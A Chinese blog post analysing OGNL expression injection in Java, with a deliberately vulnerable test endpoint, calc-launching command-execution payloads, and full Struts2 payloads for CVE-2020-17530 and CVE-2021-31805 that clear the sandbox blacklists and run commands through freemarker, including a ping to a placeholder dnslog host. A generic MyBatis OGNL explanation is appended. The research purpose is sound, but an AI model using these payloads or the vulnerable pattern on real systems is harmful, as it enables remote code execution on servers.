Java表达式注入(OGNL 表达式注入)

介绍:

OGNL是Object Graphic Navigation Language(对象图导航语言)的缩写,一个开源项目。Struts框架使用OGNL作为默认的表达式语言。

OGNL最重要的点三要素,也就是OGNL需要的三个参数:

表达式(Expression):

表达式是整个OGNL的核心,所有的OGNL操作都是针对表达式的解析后进行的。表达式会规定此次OGNL操作到底要干什么。因此,表达式其实是一个带有语法含义的字符串,这个字符串将规定操作的类型和操作的内容。
OGNL支持大量的表达式语法,不仅支持“链式”描述对象访问路径,还支持在表达式中进行简单的计算,甚至还能够支持复杂的Lambda表达式等。我们可以在接下来的章节中看到各种各样不同的OGNL表达式。

Root对象(Root Object):

OGNL的Root对象可以理解为OGNL的操作对象。当OGNL表达式规定了“干什么”以后,我们还需要指定对谁干。OGNL的Root对象实际上是一个Java对象,是所有OGNL操作的实际载体。这就意味着,如果我们有一个OGNL的表达式,那么我们实际上需要针对Root对象去进行OGNL表达式的计算并返回结果。

上下文环境(Context):

有了表达式和Root对象,我们已经可以使用OGNL的基本功能。例如,根据表达式针对OGNL中的Root对象进行“取值”或者“写值”操作。不过,事实上,在OGNL的内部,所有的操作都会在一个特定的数据环境中运行,这个数据环境就是OGNL的上下文环境(Context)。说得再明白一些,就是这个上下文环境(Context)将规定OGNL的操作在哪里干。
OGNL的上下文环境是一个Map结构,称之为OgnlContext。之前我们所提到的Root对象(Root Object),事实上也会被添加到上下文环境中去,并且将被作为一个特殊的变量进行处理。

OGNL基础知识:

OGNL与EL 的区别:

  1. OGNL表达式是Struts2的默认表达式语言, 所以只针对Struts2标签有效; 然而ELHTML中也可以使用.

  2. Struts2标签用的都是OGNL表达式语言, 所以它多数都是去值栈的栈顶找值, 找不到再去作用域; 相反,EL都是去Map集合作用域中找.

OGNL语法:

通过.获取对象的属性或方法

user
user.name

静态对象、静态方法和静态变量:@

@java.lang.System@getProperty("user.dir")

非原生类型对象:#

#user
#user.name

简单对象:直接获取:

"string".lenth
true

%符号的用途是在标志的属性为字符串类型时,告诉执行环境%{}里的是OGNL表达式并计算表达式的值

%{999+1}
%{#request.cn}

$在配置文件中引用OGNL表达式。

new创建实例:

new java.lang.String("testnew")

在OGNL中,可以用{}或者它的组合来创建列表、数组和map,[]可以获取下标元素。

创建数组:new type[]{value1,value2...}

new int[]{1,3,5}[0]

解析OGNL的api:

类名方法名
com.opensymphony.xwork2.util.TextParseUtiltranslateVariables, translateVariablesCollection
com.opensymphony.xwork2.util.TextParserevaluate
com.opensymphony.xwork2.util.OgnlTextParserevaluate
com.opensymphony.xwork2.ognl.OgnlUtilsetProperties, setProperty, setValue, getValue, callMethod, compile
org.apache.struts2.util.VelocityStrutsUtilevaluate
org.apache.struts2.util.StrutsUtilisTrue, findString, findValue, getText, translateVariables, makeSelectList
org.apache.struts2.views.jsp.ui.OgnlToolfindValue
com.opensymphony.xwork2.util.ValueStackfindString, findValue, setValue, setParameter
com.opensymphony.xwork2.ognl.OgnlValueStackfindString, findValue, setValue, setParameter, trySetValue
ognl.OgnlparseExpression, getValue, setValue

漏洞分析:

首先先编写测试代码,需要在pom.xml中添加ognl库:

<dependency>
   <groupId>ognl</groupId>
   <artifactId>ognl</artifactId>
   <version>3.0.9</version>
</dependency>

 添加代码:

@RequestMapping(value = "/ognltest.do",method = RequestMethod.GET)
public ModelAndView ognltest(@RequestParam("ognl") String spel) throws IOException, OgnlException {
    //创建一个上下文对象
    OgnlContext context = new OgnlContext();

    //getValue触发漏洞
    Ognl.getValue(spel, context, context.getRoot());

    //setValue触发漏洞
    //Ognl.setValue("@java.lang.Runtime@getRuntime().exec('calc')", context, context.getRoot());

    ModelAndView mv = new ModelAndView();
    //mv.addObject("spel", exp.getValue());
    mv.setViewName("testspel");
    return mv;
}

使用getValue和setValue均可触发漏洞,使用如下两种任意poc即可弹出计算器:

@java.lang.Runtime@getRuntime().exec('calc')
new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("s=[3];s[0]='cmd';s[1]='/c';s[2]='calc';java.lang.Runtime.getRuntime().exec(s);")

添加断点查看堆栈,可以看到执行了如下函数:

首先调用parseExpression方法将String类型的字符串解析为OGNL表达式能理解的ASTChain类型 :

解析转换后变为类和方法两个数组,其中主要使用ASTStaticMethod处理@java.lang.Runtime@getRuntime(),使用ASTMethod处理exec('calc'): 

然后调用ASTChain类的getValueBody方法获取调用类:

 内部主要通过ASTStaticMethod类的getValueBody方法通过反射获取类:

 然后调用ASTMethod类的getValueBody获取反射方法和方法参数:

 最后调用OgnlRuntime类的invokeMethod方法反射执行:

其逻辑也很清楚主要将整个OGNL表达式按照语法树分为几个子节点树, 然后循环遍历解析各个子节点树上的OGNL表达式, 其中通过Method.invoke即反射的方式实现任意类方法调用。其中ASTStaticMethod负责获取反射类ASTMethod负责获取方法和参数,最后通过invokeMethod反射执行。

利用方式:

执行命令:

@java.lang.Runtime@getRuntime().exec('calc')
new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("s=[3];s[0]='cmd';s[1]='/c';s[2]='calc';java.lang.Runtime.getRuntime().exec(s);")

获取路径:

@java.lang.System@getProperty("user.dir")

 CVE分析:

大概搜索了以下OGNL漏洞,提交的发现主要存在于struct2和Confluence,因为默认使用OGNL作为 表达式语言,这里我们找几个进行分析:

 CVE-2020-17530:

先看poc:

%{(#request.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#request.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) + (#request.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'}))}

为何主要执行代码在最后,却要先执行前面一堆代码,这是因为在struct2中会要执行的OGNL语句进行安全过滤,SecurityMemberAccess::isAccessible方法对包和类进行了过滤:

 如下19种包不允许被加载,如果直接%{#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'})}:也会被拦截:

 如下9种类不允许被加载,当打算通过@java.lang.Runtime@getRuntime()执行命令方法失效:

所以要想成功执行命令需要将这些内容置空,主要利用了org.apache.commons.collections.BeanMap的如下方法:

Object get("xxxx")            实际相当于调用内部对象的getXxx,比如getName()
Object put("xxxx",Object)    实际相当于调用内部对象的,setXxxx,比如setName()
void setBean(Object)        重新设置内部对象,设置完成后上面两个才能生效
Object getBean()            获取内部对象,这里可以在断点的时候查看到当前map中的实际对象

具体做法为通过org.apache.commons.collections.BeanMap设置struts.valueStack,context和memberAccess然后调用put方法将excludedClasses和excludedPackageNames重新设置为空,即可绕过检查:

(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) 
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) 

(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) 
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) 

(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) 
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) 

(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) 
(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) 

(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'ping xxx.dnslog.xx'}))

 设置完成后,可以成功通过freemarker模板执行命令:

 另外后续的CVE-2021-31805也是因为过滤不全导致的绕过,poc如下:

(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'ping xxx.dnslog.xx'}))

总结:

OGNL注入原理和el和spel注入类似,只是在OGNL默认为struct2的表达式语言而且Confluence也大量运用了该表达式语言,所以当开发者使用该两种框架时就有可能被OGNL注入风险,并且对利用方式上虽然已经封了很多方法和类,但是还是可能找到绕过方法,只要能将其黑名单置空即可绕过检测,所以struct2还是存在很多风险,我们测试是否存在漏洞只要符合对应表达式语言语法即可。

  • 1
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
OGNL(Object-Graph Navigation Language,对象图导航语言)是一个强大的表达式语言,可以用于Java的各种应用程序中,包括Struts、JavaServer Faces、JavaServer Pages等。在Mybatis中,OGNL表达式可以用于Mapper XML文件中的各种标签中,例如`<if>`、`<where>`、`<set>`、`<foreach>`等标签中。 OGNL表达式可以用于获取Java对象的属性值、调用Java对象的方法、进行算术运算、比较运算、逻辑运算等。例如: ```xml <select id="selectByCondition" resultType="com.example.User"> select * from user where name like #{keyword} and age >= #{minAge} <if test="maxAge != null"> and age <= #{maxAge} </if> </select> ``` 在这个例子中,`#{keyword}`、`#{minAge}`、`#{maxAge}`都是OGNL表达式,表示获取Java对象中的属性值。例如,如果传入的参数对象是一个`User`对象,那么`#{keyword}`可以表示`user.getKeyword()`方法的返回值,`#{minAge}`可以表示`user.getMinAge()`方法的返回值。 在OGNL表达式中,还可以进行算术运算、比较运算、逻辑运算等。例如,`age >= #{minAge}`表示将`age`和`#{minAge}`进行比较,判断`age`是否大于等于`#{minAge}`;`age <= #{maxAge}`表示将`age`和`#{maxAge}`进行比较,判断`age`是否小于等于`#{maxAge}`。 除了基本的运算符和表达式OGNL还提供了丰富的函数和操作符,例如`in`操作符、`not`操作符、`contains`函数、`size`函数等。这些函数和操作符可以方便地进行集合操作、字符串操作等。在使用OGNL表达式时,需要注意语法的正确性和安全性,以避免可能的安全漏洞。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值